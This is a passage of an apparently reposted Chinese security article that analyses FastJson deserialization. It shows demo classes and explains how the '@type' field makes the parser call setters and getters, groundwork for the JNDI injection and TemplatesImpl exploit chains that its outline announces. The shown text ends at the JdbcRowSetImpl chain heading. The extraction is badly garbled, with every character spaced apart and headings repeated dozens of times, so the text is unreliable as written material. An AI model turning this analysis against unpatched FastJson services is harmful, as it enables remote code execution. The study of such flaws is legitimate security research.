搜索

[6404] 2020-01-04_JAVA反序列化—FastJson抗争的一生

文档创建者：s7ckTeam
浏览次数：113
最后更新：2025-01-17
2020-01-04_JAVA反序列化—FastJson抗争的一生 J A V A 反 序 列 化 — F a s t J s o n 抗 争 的 一 生 E 安 全   2 0 2 0 - 0 1 - 0 4 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 l a l a N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言         其 实 从 一 开 始 就 是 想 着 学 一 下 f a s t j s o n 组 件 的 反 序 列 化 。 结 果 发 现 完 全 理 解 不 能 。         就 先 一 路 补 了 很 多 其 他 知 识 点 ， R M I 反 序 列 化 ， J N D I 注 入 ， 7 u 2 1 链 等 （ 就 是 之 前 的 文 章 ） ， 之 后 也 是 拖 了 很 长 时 间 ， 花 了 很 长 时 间 ， 总 算 把 这 篇 一 开 始 就 想 写 的 文 ， 给 补 完 了 。         类 似 的 文 是 已 经 有 了 不 少 ， 学 习 也 是 基 于 前 辈 们 的 文 章 一 步 步 走 来 ， 但 是 个 人 习 惯 于 把 所 有 问 题 理 清 楚 ， 讲 清 楚 。 理 应 是 把 大 佬 们 的 文 要 细 致 些 。         本 文 需 要 前 置 知 识 ： J N D I 注 入 ， 7 u 2 1 利 用 链 ， 可 以 戳 我 往 期 的 文 章 。         文 章 内 容 如 下 ： 1 . f a s t j s o n 组 件 基 础 介 绍 及 使 用 （ 三 种 反 序 列 化 形 式 等 ） 2 . f a s t j s o n 组 件 的 @ t y p e 标 识 的 特 性 说 明 （ 默 认 调 用 s e t t e r 、 g e t t e r 方 法 条 件 等 ） 。 3 . 分 析 了 f a s t j s o n 组 件 1 . 2 . 2 4 版 本 中 J N D I 注 入 利 用 链 与 s e t t e r 参 数 巧 妙 完 美 适 配 （ 前 置 知 识 参 考 J N D I 注 入 一 文 ） 4 . 分 析 了 f a s t j s o n 组 件 1 . 2 . 2 4 版 本 中 J D K 1 . 7 T e m p l a t e s I m p l 利 用 链 的 漏 洞 触 发 点 p o c 构 造 （ 前 置 知 识 参 考 7 u 2 1 一 文 ） 5 . 分 析 了 1 . 2 . 2 4 - 1 . 2 . 4 6 版 本 每 个 版 本 迭 代 中 修 改 代 码 ， 修 复 思 路 和 绕 过 。 （ 此 时 由 于 默 认 白 名 单 的 引 入 ， 漏 洞 危 害 大 降 ） 6 . 到 了 1 . 2 . 4 7 通 杀 黑 白 名 单 漏 洞 ， 因 为 网 上 对 于 这 个 分 析 文 有 点 过 多 。 这 边 想 着 直 接 正 向 来 没 得 意 思 。 尝 试 从 代 码 审 计 漏 洞 挖 掘 的 角 度 去 从 零 开 始 挖 掘 出 这 一 条 利 用 链 。 最 后 发 现 产 生 了 一 种 我 上 我 也 行 的 错 觉 （ 当 然 实 际 上 只 是 一 种 错 觉 ， 不 可 避 免 受 到 了 已 有 p a y l o a d 的 引 导 ， 但 是 经 过 分 析 也 算 是 不 会 对 大 佬 的 0 d a y 产 生 一 种 畏 惧 心 理 ， 看 完 也 是 可 以 理 解 的 ） 最 后 再 看 了 下 修 复 。 N o . 3 N o . 3 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件 f a s t j s o n 组 件 组 件         f a s t j s o n 组 件 是 阿 里 巴 巴 开 发 的 反 序 列 化 与 序 列 化 组 件 。         组 件 a p i 使 用 方 法 也 很 简 洁 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
/ / 序 列 化 S t r i n g   t e x t   =   J S O N . t o J S O N S t r i n g ( o b j ) ; / / 反 序 列 化 V O   v o   =   J S O N . p a r s e ( ) ;   / / 解 析 为 J S O N O b j e c t 类 型 或 者 J S O N A r r a y 类 型 V O   v o   =   J S O N . p a r s e O b j e c t ( " { . . . } " ) ;   / / J S O N 文 本 解 析 成 J S O N O b j e c t 类 型 V O   v o   =   J S O N . p a r s e O b j e c t ( " { . . . } " ,   V O . c l a s s ) ;   / / J S O N 文 本 解 析 成 V O . c l a s s 类         我 们 通 过 d e m o 来 使 用 一 下 这 个 组 件         以 下 使 用 测 试 均 是 基 于 1 . 2 . 2 4 版 本 的 f a s t j s o n   j a r 包         靶 机 搭 建 需 要 存 在 漏 洞 的 j a r 包 ， 但 是 在 g i t h u b 上 通 常 会 下 架 存 在 漏 洞 的 j a r 包 。         我 们 可 以 从 m a v e n 仓 库 中 找 到 所 有 版 本 j a r 包 , 方 便 漏 洞 复 现 。 f a s t j s o n 组 件 使 用 组 件 使 用         先 构 建 需 要 序 列 化 的 U s e r 类 ： U s e r . j a v a p a c k a g e   c o m . f a s t j s o n ; p u b l i c   c l a s s   U s e r   {         p r i v a t e   S t r i n g   n a m e ;         p r i v a t e   i n t   a g e ;         p u b l i c   S t r i n g   g e t N a m e ( )   {                 r e t u r n   n a m e ;       }         p u b l i c   v o i d   s e t N a m e ( S t r i n g   n a m e )   {                 t h i s . n a m e   =   n a m e ;       }         p u b l i c   i n t   g e t A g e ( )   {                 r e t u r n   a g e ;       }         p u b l i c   v o i d   s e t A g e ( i n t   a g e )   {                 t h i s . a g e   =   a g e ;       } } 再 使 用 f a s t j s o n 组 件
以 上 使 用 了 三 种 形 式 反 序 列 化 结 果 如 下 ： / / 序 列 化 s e r i a l i z e d S t r = { " a g e " : 1 1 , " n a m e " : " l a l a " } / / p a r s e ( { . . } ) 反 序 列 化 p a r s e 反 序 列 化 对 象 名 称 : c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t p a r s e 反 序 列 化 ： { " n a m e " : " l a l a " , " a g e " : 1 1 } / / p a r s e O b j e c t ( { . . } ) 反 序 列 化 p a r s e O b j e c t 反 序 列 化 对 象 名 称 : c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t p a r s e O b j e c t 反 序 列 化 : { " n a m e " : " l a l a " , " a g e " : 1 1 } / / p a r s e O b j e c t ( { } , c l a s s ) 反 序 列 化 p a r s e O b j e c t 反 序 列 化 对 象 名 称 : c o m . f a s t j s o n . U s e r p a r s e O b j e c t 反 序 列 化 : c o m . f a s t j s o n . U s e r @ 3 d 7 1 d 5 5 2         p a r s e O b j e c t ( { . . } ) 其 实 就 是 p a r s e ( { . . } ) 的 一 个 封 装 ， 对 于 p a r s e 的 结 果 进 行 一 次 结 果 判 定 然 后 转 化 为 J S O N O B j e c t 类 型 。       p u b l i c   s t a t i c   J S O N O b j e c t   p a r s e O b j e c t ( S t r i n g   t e x t )   {               O b j e c t   o b j   =   p a r s e ( t e x t ) ;                 r e t u r n   o b j   i n s t a n c e o f   J S O N O b j e c t   ?   ( J S O N O b j e c t ) o b j   :   ( J S O N O b j e c t ) t o J S O N ( o b j ) ;       }         而 p a r s e O b j e c t ( { } , c l a s s ) 好 像 会 调 用 c l a s s 加 载 器 进 行 类 型 转 化 ， 但 这 个 细 节 不 是 关 键 ， 就 不 研 究 了         那 么 三 种 反 序 列 化 方 式 除 了 返 回 结 果 之 外 ， 还 有 啥 区 别 ？         在 执 行 过 程 调 用 函 数 上 有 不 同 。 结 果 如 下 ： p a c k a g e   c o m . f a s t j s o n ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . s e r i a l i z e r . S e r i a l i z e r F e a t u r e ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 / / 创 建 一 个 用 于 实 验 的 u s e r 类               U s e r   u s e r 1   =   n e w   U s e r ( ) ;               u s e r 1 . s e t N a m e ( " l a l a " ) ;               u s e r 1 . s e t A g e ( 1 1 ) ;                 / / 序 列 化               S t r i n g   s e r i a l i z e d S t r   =   J S O N . t o J S O N S t r i n g ( u s e r 1 ) ;               S y s t e m . o u t . p r i n t l n ( " s e r i a l i z e d S t r = " + s e r i a l i z e d S t r ) ;                 / / 通 过 p a r s e 方 法 进 行 反 序 列 化 ， 返 回 的 是 一 个 J S O N O b j e c t               O b j e c t   o b j 1   =   J S O N . p a r s e ( s e r i a l i z e d S t r ) ;               S y s t e m . o u t . p r i n t l n ( " p a r s e 反 序 列 化 对 象 名 称 : " + o b j 1 . g e t C l a s s ( ) . g e t N a m e ( ) ) ;               S y s t e m . o u t . p r i n t l n ( " p a r s e 反 序 列 化 ： " + o b j 1 ) ;                 / / 通 过 p a r s e O b j e c t , 不 指 定 类 ， 返 回 的 是 一 个 J S O N O b j e c t               O b j e c t   o b j 2   =   J S O N . p a r s e O b j e c t ( s e r i a l i z e d S t r ) ;               S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 对 象 名 称 : " + o b j 2 . g e t C l a s s ( ) . g e t N a m e ( ) ) ;               S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 : " + o b j 2 ) ;                 / / 通 过 p a r s e O b j e c t , 指 定 类 后 返 回 的 是 一 个 相 应 的 类 对 象               O b j e c t   o b j 3   =   J S O N . p a r s e O b j e c t ( s e r i a l i z e d S t r , U s e r . c l a s s ) ;               S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 对 象 名 称 : " + o b j 3 . g e t C l a s s ( ) . g e t N a m e ( ) ) ;               S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 : " + o b j 3 ) ;       } } p a c k a g e   c o m . f a s t j s o n ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   F a s t J s o n T e s t   {         p u b l i c   S t r i n g   n a m e ;         p u b l i c S t r i n g   a g e ;         p u b l i c   F a s t J s o n T e s t ( )   t h r o w s   I O E x c e p t i o n   {       }         p u b l i c   v o i d   s e t N a m e ( S t r i n g   t e s t )   {               S y s t e m . o u t . p r i n t l n ( " n a m e   s e t t e r   c a l l e d " ) ;                 t h i s . n a m e   =   t e s t ;       }         p u b l i c   S t r i n g   g e t N a m e ( )   {               S y s t e m . o u t . p r i n t l n ( " n a m e   g e t t e r   c a l l e d " ) ;                 r e t u r n   t h i s . n a m e ;       }         p u b l i c   S t r i n g   g e t A g e ( ) {               S y s t e m . o u t . p r i n t l n ( " a g e   g e t t e r   c a l l e d " ) ;                 r e t u r n   t h i s . a g e ;       }         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {               O b j e c t   o b j   =   J S O N . p a r s e ( " { " @ t y p e " : " c o m . f a s t j s o n . F a s t J s o n T e s t " , " n a m e " : " t h i s i s n a m e " ,   " a g e " : " t h i s i s a g e " } " ) ;               S y s t e m . o u t . p r i n t l n ( o b j ) ;
/ / J S O N . p a r s e ( " " ) n a m e   s e t t e r   c a l l e d c o m . f a s t j s o n . F a s t J s o n T e s t @ 5 a 2 e 4 5 5 3 / / J S O N . p a r s e O b j e c t ( " " ) n a m e   s e t t e r   c a l l e d a g e   g e t t e r   c a l l e d n a m e   g e t t e r   c a l l e d { " n a m e " : " t h i s i s n a m e " , " a g e " : " t h i s i s a g e " } / / J S O N . p a r s e O b j e c t ( " " , c l a s s ) n a m e   s e t t e r   c a l l e d c o m . f a s t j s o n . F a s t J s o n T e s t @ e 2 1 4 4 e 4 结 论 ： p a r s e ( " " )   会 识 别 并 调 用 目 标 类 的 特 定   s e t t e r   方 法 及 某 些 特 定 条 件 的   g e t t e r   方 法 p a r s e O b j e c t ( " " )   会 调 用 反 序 列 化 目 标 类 的 特 定   s e t t e r   和   g e t t e r   方 法 （ 此 处 有 的 博 客 说 是 所 有 s e t t e r ， 个 人 测 试 返 回 S t r i n g 的 s e t t e r 是 不 行 的 ， 此 处 打 个 问 号 ） p a r s e O b j e c t ( " " , c l a s s )   会 识 别 并 调 用 目 标 类 的 特 定   s e t t e r   方 法 及 某 些 特 定 条 件 的   g e t t e r   方 法 特 定 的 s e t t e r 和 g e t t e r 的 调 用 都 是 在 解 析 过 程 中 的 调 用 。 （ 具 体 是 哪 些 s e t t e r 和 g e t t e r 会 被 调 用 ， 我 们 将 在 之 后 讲 到 ）         之 所 以 p a r s e O b j e c t ( " " ) 有 区 别 就 是 因 为 p a r s e O b j e c t ( " " ) 比 起 其 他 方 式 多 了 一 步 t o J S O N 操 作 ， 在 这 一 步 中 会 对 所 有 g e t t e r 进 行 调 用 。 @ t y p e         那 么 除 开 正 常 的 序 列 化 ， 反 序 列 化 。 f a s t j s o n 提 供 特 殊 字 符 段 @ t y p e ， 这 个 字 段 可 以 指 定 反 序 列 化 任 意 类 ， 并 且 会 自 动 调 用 类 中 属 性 的 特 定 的 s e t ， g e t 方 法 。
        我 们 先 来 看 一 下 这 个 字 段 的 使 用 : / / @ 使 用 特 定 修 饰 符 ， 写 入 @ t y p e 序 列 化 S t r i n g   s e r i a l i z e d S t r 1   =   J S O N . t o J S O N S t r i n g ( u s e r 1 , S e r i a l i z e r F e a t u r e . W r i t e C l a s s N a m e ) ; S y s t e m . o u t . p r i n t l n ( " s e r i a l i z e d S t r 1 = " + s e r i a l i z e d S t r 1 ) ; / / 通 过 p a r s e 方 法 进 行 反 序 列 化 O b j e c t   o b j 4   =   J S O N . p a r s e ( s e r i a l i z e d S t r 1 ) ; S y s t e m . o u t . p r i n t l n ( " p a r s e 反 序 列 化 对 象 名 称 : " + o b j 4 . g e t C l a s s ( ) . g e t N a m e ( ) ) ; S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 : " + o b j 4 ) ; / / 通 过 这 种 方 式 返 回 的 是 一 个 相 应 的 类 对 象 O b j e c t   o b j 5   =   J S O N . p a r s e O b j e c t ( s e r i a l i z e d S t r 1 ) ; S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 对 象 名 称 : " + o b j 5 . g e t C l a s s ( ) . g e t N a m e ( ) ) ; S y s t e m . o u t . p r i n t l n ( " p a r s e O b j e c t 反 序 列 化 : " + o b j 5 ) ; / / 序 列 化 s e r i a l i z e d S t r 1 = { " @ t y p e " : " c o m . f a s t j s o n . U s e r " , " a g e " : 1 1 , " n a m e " : " l a l a " } / / p a r s e 反 序 列 化 p a r s e 反 序 列 化 对 象 名 称 : c o m . f a s t j s o n . U s e r p a r s e O b j e c t 反 序 列 化 : c o m . f a s t j s o n . U s e r @ 1 c f 4 f 5 7 9 / / p a r s e O b j e c t 反 序 列 化 p a r s e O b j e c t 反 序 列 化 对 象 名 称 : c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t p a r s e O b j e c t 反 序 列 化 : { " n a m e " : " l a l a " , " a g e " : 1 1 }         这 边 在 调 试 的 时 候 ， 可 以 看 到 ， 本 该 解 析 出 来 的 @ t y p e 都 没 有 解 析 出 来         以 上 我 们 可 以 知 道 当 @ t y p e 输 入 的 时 候 会 特 殊 解 析 （ 不 然 的 话 会 有 @ t y p e ： c o m . f a s t j s o n . U s e r 的 键 值 对 ） ， 那 么 自 动 调 用 其 特 定 的 s e t ， g e t 方 法 怎 么 说 呢 ？         我 们 先 建 立 一 个 序 列 化 实 验 用 的 P e r s o n 类         P e r s o n . j a v a @ t y p e 反 序 列 化 实 验 ： p a c k a g e   c o m . f a s t j s o n ; i m p o r t   j a v a . u t i l . P r o p e r t i e s ; p u b l i c   c l a s s   P e r s o n   {         / / 属 性       p u b l i c   S t r i n g   n a m e ;         p r i v a t e   S t r i n g   f u l l _ n a m e ;         p r i v a t e   i n t   a g e ;         p r i v a t e   B o o l e a n   s e x ;         p r i v a t e   P r o p e r t i e s   p r o p ;         / / 构 造 函 数       p u b l i c   P e r s o n ( ) {               S y s t e m . o u t . p r i n t l n ( " P e r s o n 构 造 函 数 " ) ;       }         / / s e t       p u b l i c   v o i d   s e t A g e ( i n t   a g e ) {               S y s t e m . o u t . p r i n t l n ( " s e t A g e ( ) " ) ;                 t h i s . a g e   =   a g e ;       }         / / g e t   返 回 B o o l e a n       p u b l i c   B o o l e a n   g e t S e x ( ) {               S y s t e m . o u t . p r i n t l n ( " g e t S e x ( ) " ) ;                 r e t u r n   t h i s . s e x ;       }         / / g e t   返 回 P r o P e r t i e s       p u b l i c   P r o p e r t i e s   g e t P r o p ( ) {               S y s t e m . o u t . p r i n t l n ( " g e t P r o p ( ) " ) ;                 r e t u r n   t h i s . p r o p ;       }         / / 在 输 出 时 会 自 动 调 用 的 对 象 T o S t r i n g 函 数       p u b l i c   S t r i n g   t o S t r i n g ( )   {
p a c k a g e   c o m . f a s t j s o n ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; p u b l i c   c l a s s   t y p e   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {               S t r i n g   e n e i t y 3   =   " { " @ t y p e " : " c o m . f a s t j s o n . P e r s o n " ,   " n a m e " : " l a l a " ,   " f u l l _ n a m e " : " l a l a l o l o " ,   " a g e " :   1 3 ,   " p r o p " :   { " 1 2 3 " : 1 2 3 } ,   " s e x " : 1 } " ;                 / / 反 序 列 化               O b j e c t   o b j   =   J S O N . p a r s e O b j e c t ( e n e i t y 3 , P e r s o n . c l a s s ) ;                 / / 输 出 会 调 用 o b j 对 象 的 t o o S t r i n g 函 数               S y s t e m . o u t . p r i n t l n ( o b j ) ;       } } 结 果 如 下 ： P e r s o n 构 造 函 数 s e t A g e ( ) g e t P r o p ( ) [ P e r s o n   O b j e c t ]   n a m e = l a l a   f u l l _ n a m e = n u l l ,   a g e = 1 3 ,   p r o p = n u l l ,   s e x = n u l l p u b l i c   n a m e   反 序 列 化 成 功 p r i v a t e   f u l l _ n a m e   反 序 列 化 失 败 p r i v a t e   a g e   s e t A g e 函 数 被 调 用 p r i v a t e   s e x   g e t s e x 函 数 没 有 被 调 用 p r i v a t e   p r o p   g e t p r o p 函 数 被 成 功 调 用 可 以 得 知 ： p u b l i c 修 饰 符 的 属 性 会 进 行 反 序 列 化 赋 值 ， p r i v a t e 修 饰 符 的 属 性 不 会 直 接 进 行 反 序 列 化 赋 值 ， 而 是 会 调 用 s e t x x x ( x x x 为 属 性 名 ) 的 函 数 进 行 赋 值 。 g e t x x x ( x x x 为 属 性 名 ) 的 函 数 会 根 据 函 数 返 回 值 的 不 同 ， 而 选 择 被 调 用 或 不 被 调 用         决 定 这 个 s e t / g e t 函 数 是 否 将 被 调 用 的 代 码 最 终 在 c o m . a l i b a b a . f a s t j s o n . u t i l . J a v a B e a n I n f o # b u i l d 函 数 处         在 进 入 b u i l d 函 数 后 会 遍 历 一 遍 传 入 c l a s s 的 所 有 方 法 ， 去 寻 找 满 足 s e t 开 头 的 特 定 类 型 方 法 ； 再 遍 历 一 遍 所 有 方 法 去 寻 找 g e t 开 头 的 特 定 类 型 的 方 法
s e t 开 头 的 方 法 要 求 如 下 ： 方 法 名 长 度 大 于 4 且 以 s e t 开 头 ， 且 第 四 个 字 母 要 是 大 写 非 静 态 方 法 返 回 类 型 为 v o i d 或 当 前 类 参 数 个 数 为 1 个         寻 找 到 符 合 要 求 的 s e t 开 头 的 方 法 后 会 根 据 一 定 规 则 提 取 方 法 名 后 的 变 量 名 （ 好 像 会 过 滤 _ ， 就 是 s e t _ n a m e 这 样 的 方 法 名 中 的 下 划 线 会 被 略 过 ， 得 到 n a m e ） 。 再 去 跟 这 个 类 的 属 性 去 比 对 有 没 有 这 个 名 称 的 属 性 。         如 果 没 有 这 个 属 性 并 且 这 个 s e t 方 法 的 输 入 是 一 个 布 尔 型 （ 是 b o o l e a n 类 型 ， 不 是 B o o l e a n 类 型 ， 这 两 个 是 不 一 样 的 ） ， 会 重 新 给 属 性 名 前 面 加 上 i s ， 再 取 头 两 个 字 符 ， 第 一 个 字 符 为 大 写 （ 即 i s N a ） ， 去 寻 找 这 个 属 性 名 。         这 里 的 i s 就 是 有 的 网 上 有 的 文 章 中 说 反 序 列 化 会 自 动 调 用 g e t 、 s e t 、 i s 方 法 的 由 来 。 个 人 觉 得 这 种 说 法 应 该 是 错 误 的 。         真 实 情 况 应 该 是 确 认 存 在 符 合 s e t X x x 方 法 后 ， 会 与 这 个 方 法 绑 定 一 个 x x x 属 性 ， 如 果 x x x 属 性 不 存 在 则 会 绑 定 i s X x 属 性 （ 这 里 i s 后 第 一 个 字 符 需 要 大 写 ， 才 会 被 绑 定 ） 。 并 没 有 调 用 i s 开 头 的 方 法         自 己 从 源 码 中 分 析 或 者 尝 试 在 类 中 添 加 i s X x 方 法 都 是 不 会 被 调 用 的 ， 这 里 只 是 为 了 指 出 其 他 文 章 中 的 一 个 错 误 。 这 个 与 调 用 的 s e t 方 法 绑 定 的 属 性 ， 再 之 后 并 没 有 发 现 对 于 调 用 过 程 有 什 么 影 响 。         所 以 只 要 目 标 类 中 有 满 足 条 件 的 s e t 方 法 ， 然 后 得 到 的 方 法 变 量 名 存 在 于 序 列 化 字 符 串 中 ， 这 个 s e t 方 法 就 可 以 被 调 用 。         如 果 有 老 哥 确 定 是 否 可 以 调 用 i s 方 法 ， 可 以 联 系 我 ， 非 常 感 谢 。 g e t 开 头 的 方 法 要 求 如 下 ： 方 法 名 长 度 大 于 等 于 4 非 静 态 方 法 以 g e t 开 头 且 第 4 个 字 母 为 大 写 无 传 入 参 数
返 回 值 类 型 继 承 自 C o l l e c t i o n   M a p   A t o m i c B o o l e a n   A t o m i c I n t e g e r   A t o m i c L o n g         所 以 我 们 上 面 例 子 中 的 g e t s e x 方 法 没 有 被 调 用 是 因 为 返 回 类 型 不 符 合 ， 而 g e t p r o p 方 法 被 成 功 调 用 是 因 为 P r o p e r t i e s   继 承 H a s h t a b l e ， 而 H a s h t a b l e 实 现 了 M a p 接 口 ， 返 回 类 型 符 合 条 件 。         再 顺 便 看 一 下 最 后 触 发 方 法 调 用 的 地 方 c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . F i e l d D e s e r i a l i z e r # s e t V a l u e ， （ 在 被 调 用 的 方 法 中 下 断 点 即 可 ）           那 么 至 此 我 们 可 以 知 道 @ t y p e 可 以 指 定 反 序 列 化 成 服 务 器 上 的 任 意 类 然 后 服 务 端 会 解 析 这 个 类 ， 提 取 出 这 个 类 中 符 合 要 求 的 s e t t e r 方 法 与 g e t t e r 方 法 （ 如 s e t x x x ） 如 果 传 入 j s o n 字 符 串 的 键 值 中 存 在 这 个 值 （ 如 x x x ) ， 就 会 去 调 用 执 行 对 应 的 s e t t e r 、 g e t t e r 方 法 （ 即 s e t x x x 方 法 、 g e t x x x 方 法 ）         上 面 说 到 r e a d O b e j c t ( " " ) 还 会 额 外 调 用 t o J S O N 调 用 所 有 g e t t e r 函 数 ， 可 以 不 符 合 要 求 。         看 上 去 应 该 是 挺 正 常 的 使 用 逻 辑 ， 反 序 列 化 需 要 调 用 对 应 参 数 的 s e t t e r 、 g e t t e r 方 法 来 恢 复 数 据 。         但 是 在 可 以 调 用 任 意 类 的 情 况 下 ， 如 果 s e t t e r 、 g e t t e r 方 法 中 存 在 可 以 利 用 的 情 况 ， 就 会 导 致 任 意 命 令 执 行 。         对 应 反 序 列 化 攻 击 利 用 三 要 素 来 说 ， 以 上 我 们 就 是 找 到 了 r e a d O b j e c t 复 写 点 ， 下 面 来 探 讨 反 序 列 化 利 用 链 。         我 们 先 来 看 最 开 始 的 漏 洞 版 本 是 < = 1 . 2 . 2 4 ， 在 这 个 版 本 前 是 默 认 支 持 @ t y p e 这 个 属 性 的 。 N o . 4 N o . 4 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 